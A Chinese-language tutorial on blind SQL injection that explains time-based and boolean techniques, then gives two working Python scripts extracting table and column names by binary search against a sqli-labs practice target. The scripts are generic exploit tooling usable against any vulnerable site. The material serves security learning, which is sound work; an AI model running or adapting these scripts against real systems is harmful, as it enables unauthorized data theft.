sql注入之python脚本进行时间盲注和布尔盲注

一、什么是时间盲注和布尔盲注?

答:时间盲注是攻击者通过构造恶意sql语句利用sleep()等延迟函数来观察数据库响应时间差异来进行推断信息和条件判断。如果条件为真,数据库会执行延时操作,如果为假则立即返回。响应时间较短。

SELECT IF(1=1, SLEEP(5), 0);

如果条件为真、数据库会暂停5s

如果条件为假、数据库会立即返回

布尔盲注通过观察数据库返回的不同响应(如真或假)来推断信息。攻击者构造SQL语句,利用条件语句改变页面响应内容或状态码,从而判断条件真假。

SELECT * FROM users WHERE username = 'admin' AND SUBSTRING(password, 1, 1) = 'a';

  • 如果密码的第一个字符是'a',查询返回结果,页面显示正常。

  • 如果不是,页面可能显示错误或无结果。

二、时间盲注和布尔盲注的共同点和区别是什么?

答:时间盲注和布尔盲注都是SQL注入攻击的形式,用于在无法直接获取数据的情况下推断数据库信息。

共同点:

1、两者都通过逐步推断来获取数据库信息,而不是直接获取数据。

2、都利用条件语句(如IF)来判断特定条件是否为真。

3、当应用程序不直接返回数据库错误信息或查询结果时,这两种方法都适用。

区别:

1、时间盲注通过数据库响应时间的差异来判断条件真假。布尔盲注通过页面响应内容或状态码的不同来判断条件真假。

2、时间盲注常常使用延时函数sleep()等来进行实现。布尔盲注使用语句if()、case()等实现。

3、时间盲注适用于无法通过页面响应内容或状态码判断条件真假的场景。布尔盲注适用于可以通过页面响应内容或状态码判断条件真假的场景。

三、通过python编写boolen盲注代码获取数据库

1、输入id,?id=1后。显示You are in......

2、输入?id=1'后、发现没有回显。

3、判断字段数,?id=1' order by 3 --+后, 还是显示You are in...

4、联合查询, ?id=1'union select 1,2,3--+后,显示You are in...

5、根据以上判断、可能存在boolen盲注。

获取数据库表:

python 复制代码
import requests

def table_names(url, database_name):
    table_names = []  # 用于存储所有表名
    max_length = 20  # 假设每个表名的最大长度为20
    # 限制字符范围:数字、字母、下划线
    allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _
    # 获取数据库中所有表的个数
    # 查询所有表:我们假设表名的个数不超过100
    num_tables = 100
    for table_index in range(num_tables):
        table_name = ''
        for i in range(1, max_length + 1):
            low = min(allowed_chars)  # 最小值:'0',ASCII 48
            high = max(allowed_chars)  # 最大值:'z',ASCII 122
            middle = (low + high) // 2
            while low < high:
                # 构造布尔盲注的 payload,查询当前表的名字
                payload = f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "
                params = {"id": payload}
                r = requests.get(url, params=params)
                # 判断注入是否成功,依据靶场的返回信息
                if 'You are in' in r.text:  # 判断返回信息
                    low = middle + 1
                else:
                    high = middle
                middle = (low + high) // 2
            # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
            if middle in allowed_chars:  # 确保是有效字符
                table_name += chr(middle)
            # 每次获取一个字符后打印当前的表名
            print(f"Current table name: {table_name}")
            # 重置 low 和 high 的值
            low = min(allowed_chars)
            high = max(allowed_chars)
            middle = (low + high) // 2
        if table_name:  # 如果当前表名非空,则保存它
            table_names.append(table_name)
        # 如果注入出了多个表,可以停止
        if len(table_names) >= 5:  # 假设只注入前五个表名
            break
    print(f"Final table names: {table_names}")

if __name__ == "__main__":
    url = "http://sqllab.com/Less-8/"
    database_name = "security"  # 目标数据库名称
    table_names(url, database_name)

获取数据库列:

python 复制代码
import requests

def column_names(url, database_name, table_name):
    column_names = []  # 用于存储所有列名
    max_length = 20  # 假设列名最大长度为20
    # 限制字符范围:数字、字母、下划线
    allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _
    # 获取表的所有列的个数
    num_columns = 100  # 假设该表最多有100列
    for column_index in range(num_columns):
        column_name = ''
        for i in range(1, max_length + 1):
            low = min(allowed_chars)  # 最小值:'0',ASCII 48
            high = max(allowed_chars)  # 最大值:'z',ASCII 122
            middle = (low + high) // 2
            while low < high:
                # 构造布尔盲注的 payload,查询当前列的名字
                payload = f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "
                params = {"id": payload}
                r = requests.get(url, params=params)
                # 判断注入是否成功,依据靶场的返回信息
                if 'You are in' in r.text:  # 判断返回信息
                    low = middle + 1
                else:
                    high = middle
                middle = (low + high) // 2
            # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
            if middle in allowed_chars:  # 确保是有效字符
                column_name += chr(middle)
            # 每次获取一个字符后打印当前的列名
            print(f"Current column name: {column_name}")
            # 重置 low 和 high 的值
            low = min(allowed_chars)
            high = max(allowed_chars)
            middle = (low + high) // 2
        # 检查是否是有效的列名
        if column_name and not column_name.startswith("0"):  # 去掉以 "0" 开头的无效列名
            column_names.append(column_name)
        # 如果注入出了多个列,可以停止
        if len(column_names) >= 5:  # 假设只注入前五个列名
            break
    # 输出最终的列名
    print(f"Final column names: {column_names}")
if __name__ == "__main__":
    url = "http://sqllab.com/Less-8/"
    database_name = "security"  # 目标数据库名称
    table_name = "users"  # 目标表名
    column_names(url, database_name, table_name)
相关推荐
E___V___E23 分钟前
MySQL数据库入门到大蛇尚硅谷宋红康老师笔记 高级篇 part 2
数据库·笔记·mysql
m0_748254881 小时前
mysql之如何获知版本
数据库·mysql
mikey棒棒棒1 小时前
Redis——优惠券秒杀问题(分布式id、一人多单超卖、乐悲锁、CAS、分布式锁、Redisson)
数据库·redis·lua·redisson·watchdog·cas·并发锁
水手胡巴3 小时前
oracle apex post接口
数据库·oracle
爱编程的小庄3 小时前
web网络安全:SQL 注入攻击
前端·sql·web安全
史迪仔01125 小时前
【SQL】SQL多表查询
数据库·sql
Quz5 小时前
MySQL:修改数据库默认存储目录与数据迁移
数据库·mysql
Familyism5 小时前
Redis
数据库·redis·缓存
隔壁老登5 小时前
查询hive指定数据库下所有表的建表语句并生成数据字典
数据库·hive·hadoop
sekaii6 小时前
ReDistribution plan细节
linux·服务器·数据库